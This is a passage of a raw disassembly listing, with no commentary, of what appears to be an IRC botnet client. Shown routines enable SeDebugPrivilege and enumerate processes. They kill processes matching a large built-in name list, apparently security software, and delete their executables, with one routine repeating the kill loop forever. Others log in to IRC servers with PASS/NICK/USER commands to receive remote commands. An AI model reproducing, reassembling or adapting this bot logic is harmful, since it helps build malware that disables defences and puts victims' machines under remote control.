		cmp	dword_4334EC, ebx
		jz	loc_4072F9
		cmp	dword_433450, ebx
		jz	loc_4072F9
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40707D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_433490
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_4072EC
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		mov	[ebp+var_12C], 128h
		call	dword_4334EC
		test	eax, eax
		mov	esi, ds:dword_41F034
		jz	loc_4072E7
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		call	dword_433450
		test	eax, eax
		jz	loc_4072E7
		mov	ebx, ds:dword_41F0C4


loc_4071A7:				; CODE XREF: sub_4070E8+1F7j
		cmp	[ebp+arg_10], 0
		jz	short loc_407208
		xor	edi, edi


loc_4071AF:				; CODE XREF: sub_4070E8+E7j
		push	off_42A458[edi]
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_41F0C0
		test	eax, eax
		jz	short loc_4071D6
		add	edi, 4
		cmp	edi, 9E0h
		jb	short loc_4071AF
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_4071D6:				; CODE XREF: sub_4070E8+DCj
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx
		mov	edi, eax
		test	edi, edi
		jz	loc_4072CD
		push	0
		push	edi
		call	ds:dword_41F0BC
		test	eax, eax
		jnz	loc_4072CD


loc_407200:				; CODE XREF: sub_4070E8+1AFj
		push	edi
		call	esi
		jmp	loc_4072CD
; ---------------------------------------------------------------------------


loc_407208:				; CODE XREF: sub_4070E8+C3j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jnz	loc_40729C
		cmp	[ebp+arg_4], edi
		jz	loc_4072CD
		push	[ebp+var_124]
		push	8
		call	dword_433490
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_40725C
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_4334B8
		test	eax, eax
		push	[ebp+var_124]
		jz	short loc_407262
		lea	eax, [ebp+var_230]
		jmp	short loc_407268
; ---------------------------------------------------------------------------


loc_40725C:				; CODE XREF: sub_4070E8+152j
		push	[ebp+var_124]


loc_407262:				; CODE XREF: sub_4070E8+16Aj
		lea	eax, [ebp+var_108]


loc_407268:				; CODE XREF: sub_4070E8+172j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h
		jmp	loc_407200
; ---------------------------------------------------------------------------


loc_40729C:				; CODE XREF: sub_4070E8+125j
		lea	eax, [ebp+var_108]


loc_4072A2:				; CODE XREF: sub_4070E8+1D6j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_4072C4
		test	cl, cl
		jz	short loc_4072C0
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_4072C4
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_4072A2


loc_4072C0:				; CODE XREF: sub_4070E8+1C4j
		xor	eax, eax
		jmp	short loc_4072C9
; ---------------------------------------------------------------------------


loc_4072C4:				; CODE XREF: sub_4070E8+1C0j
					; sub_4070E8+1CEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4072C9:				; CODE XREF: sub_4070E8+1DAj
		test	eax, eax
		jz	short loc_407300


loc_4072CD:				; CODE XREF: sub_4070E8+E9j
					; sub_4070E8+101j ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_433450
		test	eax, eax
		jnz	loc_4071A7
		xor	ebx, ebx


loc_4072E7:				; CODE XREF: sub_4070E8+9Dj
					; sub_4070E8+B3j
		push	[ebp+var_4]
		call	esi


loc_4072EC:				; CODE XREF: sub_4070E8+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_40707D
		pop	ecx
		pop	ecx


loc_4072F9:				; CODE XREF: sub_4070E8+3Aj
					; sub_4070E8+46j ...
		xor	eax, eax


loc_4072FB:				; CODE XREF: sub_4070E8+30Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407300:				; CODE XREF: sub_4070E8+1E3j
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx
		push	[ebp+var_124]
		mov	edi, eax
		push	8
		call	dword_433490
		push	[ebp+var_4]
		mov	ebx, eax
		mov	[ebp+var_350], 224h
		call	esi
		push	0
		push	edi
		call	ds:dword_41F0BC
		test	eax, eax
		jnz	short loc_407345
		push	edi
		call	esi
		push	ebx
		call	esi
		jmp	short loc_4072F9
; ---------------------------------------------------------------------------


loc_407345:				; CODE XREF: sub_4070E8+253j
		cmp	[ebp+arg_18], 0
		jz	loc_4073F3
		lea	eax, [ebp+var_350]
		push	eax
		push	ebx
		call	dword_4334B8
		test	eax, eax
		jz	short loc_4073B8
		push	ebx
		call	esi
		xor	esi, esi


loc_407366:				; CODE XREF: sub_4070E8+2B2j
		push	7D0h
		call	ds:dword_41F000
		push	20h
		lea	eax, [ebp+var_230]
		push	eax
		inc	esi
		call	ds:dword_41F0A0
		lea	eax, [ebp+var_230]
		push	eax
		call	ds:dword_41F0B8
		test	eax, eax
		setnz	al
		test	al, al
		jnz	short loc_4073AA
		cmp	esi, 5
		jl	short loc_407366
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aCouldNotDelete ; "Could	not delete '%s'.!\n"
		jmp	short loc_4073C4
; ---------------------------------------------------------------------------


loc_4073AA:				; CODE XREF: sub_4070E8+2ADj
		lea	eax, [ebp+var_230]
		push	eax
		push	offset aFileDeletedS_ ;	"[FILE]: Deleted '%s'.\n"
		jmp	short loc_4073C4
; ---------------------------------------------------------------------------


loc_4073B8:				; CODE XREF: sub_4070E8+277j
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aCannotExtractP ; "Cannot extract process path for %s\n"


loc_4073C4:				; CODE XREF: sub_4070E8+2C0j
					; sub_4070E8+2CEj
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_4073F3
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_4073F3:				; CODE XREF: sub_4070E8+261j
					; sub_4070E8+2EFj
		xor	eax, eax
		inc	eax
		jmp	loc_4072FB
sub_4070E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4073FB	proc near		; DATA XREF: sub_4078FA+43C7o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 298h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+74h+var_298]
		push	offset aProcListingPro ; "[PROC]: Listing processes:"
		push	eax
		call	sub_412BB5
		xor	esi, esi
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_407453
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4045DD
		add	esp, 14h


loc_407453:				; CODE XREF: sub_4073FB+3Cj
		push	esi
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_94]
		push	esi
		push	esi
		push	[ebp+74h+var_C]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4070E8
		add	esp, 1Ch
		test	eax, eax
		lea	eax, [ebp+74h+var_298]
		jnz	short loc_40747C
		push	offset aProcProcessLis ; "[PROC]: Process list completed."
		jmp	short loc_407481
; ---------------------------------------------------------------------------


loc_40747C:				; CODE XREF: sub_4073FB+78j
		push	offset aProcProcessL_0 ; "[PROC]: Process list failed."


loc_407481:				; CODE XREF: sub_4073FB+7Fj
		push	eax
		call	sub_412BB5
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4074A8
		push	esi
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_298]
		push	eax
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_4045DD
		add	esp, 14h


loc_4074A8:				; CODE XREF: sub_4073FB+91j
		lea	eax, [ebp+74h+var_298]
		push	eax
		call	sub_401C33
		push	[ebp+74h+var_14]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_4073FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4074C6	proc near		; CODE XREF: sub_4078FA+35CAp
					; sub_410FD3+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		push	0
		push	1F0FFFh
		inc	edi
		call	ds:dword_41F0C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_4074F8
		push	0
		push	esi
		call	ds:dword_41F0BC
		test	eax, eax
		jnz	short loc_4074F8
		push	esi
		xor	edi, edi
		call	ds:dword_41F034


loc_4074F8:				; CODE XREF: sub_4074C6+1Aj
					; sub_4074C6+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4074C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4074FD	proc near		; DATA XREF: sub_4078FA+1EC7o
		push	esi
		xor	esi, esi


loc_407500:				; CODE XREF: sub_4074FD+20j
		push	esi
		push	1
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4070E8
		add	esp, 1Ch
		push	dword_42A450
		call	ds:dword_41F000
		jmp	short loc_407500
sub_4074FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=58h


sub_40751F	proc near		; CODE XREF: sub_40779B+D0p

var_1E1C	= byte ptr -1E1Ch
var_E1C		= byte ptr -0E1Ch
var_64C		= byte ptr -64Ch
var_5AC		= byte ptr -5ACh
var_4AC		= byte ptr -4ACh
var_2AC		= byte ptr -2ACh
var_AC		= byte ptr -0ACh
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	eax, 1E1Ch
		lea	ebp, [esp-58h]
		call	sub_412DD0
		push	ebx
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+58h+var_14], ebx
		lea	eax, [ebp+58h+var_5AC]
		pop	ecx


loc_40753E:				; CODE XREF: sub_40751F+28j
		and	byte ptr [eax],	0
		add	eax, 80h
		dec	ecx
		jnz	short loc_40753E
		cmp	byte_479BB4, 0
		jz	short loc_407567
		push	offset byte_479BB4
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+58h+arg_0]
		call	sub_404592
		add	esp, 0Ch


loc_407567:				; CODE XREF: sub_40751F+31j
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_2C]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40E7B0
		add	esp, 10h
		push	eax
		push	[ebp+58h+arg_C]
		lea	eax, [ebp+58h+var_AC]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+58h+var_AC]
		add	esp, 14h
		lea	esi, [eax+1]


loc_407595:				; CODE XREF: sub_40751F+7Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407595
		push	ebx
		sub	eax, esi
		push	eax
		lea	eax, [ebp+58h+var_AC]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4075CD
		push	[ebp+58h+arg_0]
		call	dword_4335AC
		push	7D0h
		call	ds:dword_41F000
		xor	eax, eax
		jmp	loc_407794
; ---------------------------------------------------------------------------


loc_4075CD:				; CODE XREF: sub_40751F+91j
		push	edi
		jmp	loc_40775A
; ---------------------------------------------------------------------------


loc_4075D3:				; CODE XREF: sub_40751F+262j
		lea	eax, [ebp+58h+var_E1C]
		push	eax
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		call	sub_40564B
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_18], eax
		mov	[ebp+58h+var_10], ebx
		jle	loc_40775A
		lea	esi, [ebp+58h+var_E1C]
		mov	[ebp+58h+var_C], esi


loc_4075FF:				; CODE XREF: sub_40751F+235j
		push	offset asc_4246B4 ; " :"
		push	dword ptr [esi]
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_2AC]
		rep stosd
		call	sub_413920
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_4], eax
		jz	short loc_407629
		add	[ebp+58h+var_4], 2
		jmp	short loc_40762E
; ---------------------------------------------------------------------------


loc_407629:				; CODE XREF: sub_40751F+102j
		mov	eax, [esi]
		mov	[ebp+58h+var_4], eax


loc_40762E:				; CODE XREF: sub_40751F+108j
		push	1FFh
		push	[ebp+58h+var_4]
		lea	eax, [ebp+58h+var_2AC]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+58h+var_2AC]
		push	offset asc_4246B0 ; "|"
		push	eax
		call	sub_413859
		add	esp, 14h
		test	eax, eax
		mov	[ebp+58h+var_8], eax
		lea	ebx, [ebp+58h+var_2AC]
		jz	loc_407743


loc_407667:				; CODE XREF: sub_40751F+21Ej
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+58h+var_4AC]
		rep stosd
		mov	eax, [esi]
		mov	ecx, [ebp+58h+var_4]
		sub	ecx, eax
		push	ecx
		push	eax
		lea	eax, [ebp+58h+var_4AC]
		push	eax
		call	sub_412C40
		mov	eax, [ebp+58h+var_8]
		add	esp, 0Ch
		mov	esi, eax


loc_407693:				; CODE XREF: sub_40751F+179j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_407693
		lea	edi, [ebp+58h+var_4AC]
		sub	eax, esi
		dec	edi


loc_4076A3:				; CODE XREF: sub_40751F+18Aj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_4076A3
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+58h+var_8]
		and	ecx, 3
		rep movsb
		lea	esi, [eax+1]


loc_4076BF:				; CODE XREF: sub_40751F+1A5j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4076BF
		sub	eax, esi
		lea	ebx, [ebx+eax+1]
		push	offset asc_4246B0 ; "|"
		push	ebx
		call	sub_413859
		pop	ecx
		xor	esi, esi
		pop	ecx
		mov	[ebp+58h+var_8], eax
		inc	esi


loc_4076DF:				; CODE XREF: sub_40751F+206j
		push	[ebp+58h+arg_1C]
		lea	eax, [ebp+58h+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+58h+var_64C]
		push	eax
		lea	eax, [ebp+58h+var_5AC]
		push	eax
		push	[ebp+58h+arg_18]
		lea	eax, [ebp+58h+var_4AC]
		push	[ebp+58h+arg_C]
		push	[ebp+58h+arg_8]
		push	[ebp+58h+arg_4]
		push	[ebp+58h+arg_0]
		push	eax
		call	sub_4078FA
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		test	esi, esi
		jle	short loc_407727
		push	0FAh
		call	ds:dword_41F000
		jmp	short loc_4076DF
; ---------------------------------------------------------------------------


loc_407727:				; CODE XREF: sub_40751F+1F9j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_407790
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40778B
		cmp	esi, 0FFFFFFFFh
		jz	short loc_407787
		cmp	[ebp+58h+var_8], 0
		mov	esi, [ebp+58h+var_C]
		jnz	loc_407667


loc_407743:				; CODE XREF: sub_40751F+142j
		inc	[ebp+58h+var_10]
		mov	eax, [ebp+58h+var_10]
		add	esi, 4
		xor	ebx, ebx
		cmp	eax, [ebp+58h+var_18]
		mov	[ebp+58h+var_C], esi
		jl	loc_4075FF


loc_40775A:				; CODE XREF: sub_40751F+AFj
					; sub_40751F+D1j
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+58h+var_1E1C]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+58h+var_1E1C]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_433414
		test	eax, eax
		jg	loc_4075D3


loc_407787:				; CODE XREF: sub_40751F+215j
		xor	eax, eax
		jmp	short loc_407793
; ---------------------------------------------------------------------------


loc_40778B:				; CODE XREF: sub_40751F+210j
		xor	eax, eax
		inc	eax
		jmp	short loc_407793
; ---------------------------------------------------------------------------


loc_407790:				; CODE XREF: sub_40751F+20Bj
		push	2
		pop	eax


loc_407793:				; CODE XREF: sub_40751F+26Aj
					; sub_40751F+26Fj
		pop	edi


loc_407794:				; CODE XREF: sub_40751F+A9j
		pop	esi
		pop	ebx
		add	ebp, 58h
		leave
		retn
sub_40751F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40779B	proc near		; CODE XREF: sub_40D1EF+472p
					; DATA XREF: sub_4078FA+296Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	59h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		inc	ebx
		rep movsd
		mov	[eax+160h], ebx
		jmp	loc_407896
; ---------------------------------------------------------------------------


loc_4077C5:				; CODE XREF: sub_40779B+129j
		push	7
		pop	ecx
		xor	eax, eax
		push	eax
		push	dword_42AE68
		lea	edi, [ebp+var_2C]
		push	dword_42AE64
		rep stosd
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40E7B0
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_434350
		push	edi
		push	eax
		call	sub_412C40
		add	esp, 1Ch
		push	6
		push	ebx
		push	2
		call	dword_4334A0
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		mov	dword_434344[eax], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jz	loc_4078CC
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset aMainConnectedT ; "[MAIN]: Connected to %s."
		call	sub_401CA7
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		push	[ebp+var_190]
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40751F
		add	esp, 28h
		push	esi
		mov	edi, eax
		call	dword_4335AC
		test	edi, edi
		jz	short loc_407896
		cmp	edi, ebx
		jnz	short loc_407891
		push	1D4C0h
		call	ds:dword_41F000
		jmp	short loc_407896
; ---------------------------------------------------------------------------


loc_407891:				; CODE XREF: sub_40779B+E7j
		cmp	edi, 2
		jz	short loc_4078E7


loc_407896:				; CODE XREF: sub_40779B+25j
					; sub_40779B+E3j ...
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_4335EC
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_406B1D
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_4077C5
		jmp	short loc_4078F3
; ---------------------------------------------------------------------------


loc_4078CC:				; CODE XREF: sub_40779B+92j
		push	esi
		call	dword_4335AC
		call	sub_406B46
		push	7D0h
		call	ds:dword_41F000
		mov	eax, ebx
		jmp	short loc_4078F3
; ---------------------------------------------------------------------------


loc_4078E7:				; CODE XREF: sub_40779B+F9j
		push	[ebp+var_34]
		call	sub_4111AE
		pop	ecx
		push	2
		pop	eax


loc_4078F3:				; CODE XREF: sub_40779B+12Fj
					; sub_40779B+14Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40779B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078FA	proc near		; CODE XREF: sub_40751F+1ECp

var_2178	= byte ptr -2178h
var_1D78	= byte ptr -1D78h
var_1BE8	= byte ptr -1BE8h
var_19E8	= byte ptr -19E8h
var_18E8	= byte ptr -18E8h
var_17E8	= byte ptr -17E8h
var_15E8	= byte ptr -15E8h
var_15E4	= byte ptr -15E4h
var_14E4	= dword	ptr -14E4h
var_14E0	= byte ptr -14E0h
var_13E0	= byte ptr -13E0h
var_1360	= dword	ptr -1360h
var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= byte ptr -1344h
var_1340	= byte ptr -1340h
var_1240	= byte ptr -1240h
var_123C	= byte ptr -123Ch
var_11BC	= byte ptr -11BCh
var_117C	= byte ptr -117Ch
var_10EC	= dword	ptr -10ECh
var_10E8	= dword	ptr -10E8h
var_10E4	= dword	ptr -10E4h
var_10E0	= dword	ptr -10E0h
var_10DC	= dword	ptr -10DCh
var_10D4	= byte ptr -10D4h
var_1054	= byte ptr -1054h
var_FD4		= dword	ptr -0FD4h
var_FD0		= dword	ptr -0FD0h
var_FCC		= dword	ptr -0FCCh
var_FC4		= dword	ptr -0FC4h
var_FC0		= dword	ptr -0FC0h
var_FBC		= dword	ptr -0FBCh
var_FB4		= dword	ptr -0FB4h
var_FB0		= byte ptr -0FB0h
var_FAC		= dword	ptr -0FACh
var_FA8		= byte ptr -0FA8h
var_F28		= byte ptr -0F28h
var_E28		= byte ptr -0E28h
var_D29		= byte ptr -0D29h
var_D28		= byte ptr -0D28h
var_C28		= dword	ptr -0C28h
var_C24		= dword	ptr -0C24h
var_C20		= dword	ptr -0C20h
var_C1C		= dword	ptr -0C1Ch
var_C18		= dword	ptr -0C18h
var_C14		= dword	ptr -0C14h
var_C10		= dword	ptr -0C10h
var_C0C		= dword	ptr -0C0Ch
var_C08		= dword	ptr -0C08h
var_C04		= byte ptr -0C04h
var_B84		= dword	ptr -0B84h
var_B80		= byte ptr -0B80h
var_B74		= byte ptr -0B74h
var_B70		= byte ptr -0B70h
var_B00		= byte ptr -0B00h
var_A80		= dword	ptr -0A80h
var_A7C		= dword	ptr -0A7Ch
var_A78		= dword	ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A64		= byte ptr -0A64h
var_A54		= dword	ptr -0A54h
var_A50		= byte ptr -0A50h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9D0		= byte ptr -9D0h
var_998		= byte ptr -998h
var_990		= byte ptr -990h
var_918		= byte ptr -918h
var_898		= dword	ptr -898h
var_894		= dword	ptr -894h
var_890		= dword	ptr -890h
var_88C		= dword	ptr -88Ch
var_888		= dword	ptr -888h
var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_874		= dword	ptr -874h
var_870		= byte ptr -870h
var_7F0		= byte ptr -7F0h
var_770		= dword	ptr -770h
var_76C		= dword	ptr -76Ch
var_768		= dword	ptr -768h
var_764		= dword	ptr -764h
var_760		= dword	ptr -760h
var_75C		= dword	ptr -75Ch
var_758		= dword	ptr -758h
var_754		= dword	ptr -754h
var_750		= dword	ptr -750h
var_74C		= byte ptr -74Ch
var_67C		= byte ptr -67Ch
var_66C		= byte ptr -66Ch
var_648		= byte ptr -648h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_544		= dword	ptr -544h
var_540		= dword	ptr -540h
var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= byte ptr -4ACh
var_44B		= byte ptr -44Bh
var_44A		= byte ptr -44Ah
var_448		= byte ptr -448h
var_447		= byte ptr -447h
var_444		= dword	ptr -444h
var_440		= byte ptr -440h
var_43E		= byte ptr -43Eh
var_43C		= byte ptr -43Ch
var_43B		= byte ptr -43Bh
var_43A		= byte ptr -43Ah
var_439		= byte ptr -439h
var_432		= byte ptr -432h
var_410		= byte ptr -410h
var_3F0		= dword	ptr -3F0h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= dword	ptr -3B4h
var_3B0		= dword	ptr -3B0h
var_3AC		= byte ptr -3ACh
var_390		= dword	ptr -390h
var_38C		= byte ptr -38Ch
var_388		= dword	ptr -388h
var_384		= byte ptr -384h
var_378		= dword	ptr -378h
var_374		= byte ptr -374h
var_30C		= byte ptr -30Ch
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= byte ptr -2E0h
var_E0		= byte ptr -0E0h
var_C8		= word ptr -0C8h
var_C6		= word ptr -0C6h
var_C4		= dword	ptr -0C4h
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_64		= byte ptr -64h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 2178h
		call	sub_412DD0
		push	ebx
		push	esi
		push	edi
		mov	esi, 80h
		xor	eax, eax
		push	1Bh
		push	[ebp+arg_10]
		xor	ebx, ebx
		mov	ecx, esi
		lea	edi, [ebp+var_2E0]
		rep stosd
		lea	eax, [ebp+var_3AC]
		push	eax
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_AC], ebx
		call	sub_412C40
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		jz	loc_407B7D
		mov	ecx, esi
		mov	esi, 1FFh
		push	esi
		push	[ebp+arg_0]
		lea	edi, [ebp+var_17E8]
		rep stosd
		lea	eax, [ebp+var_17E8]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_17E8]
		push	offset asc_4246B4 ; " :"
		push	eax
		call	sub_413920
		mov	[ebp+var_14], eax
		push	esi
		lea	eax, [ebp+var_17E8]
		push	eax
		lea	eax, [ebp+var_1BE8]
		push	eax
		call	sub_412C40
		mov	esi, offset asc_41FA74 ; " "
		lea	eax, [ebp+var_1BE8]
		push	esi
		push	eax
		call	sub_413859
		xor	edi, edi
		add	esp, 28h
		mov	[ebp+var_A4], eax
		inc	edi


loc_4079BA:				; CODE XREF: sub_4078FA+D4j
		push	esi
		push	ebx
		call	sub_413859
		mov	[ebp+edi*4+var_A4], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
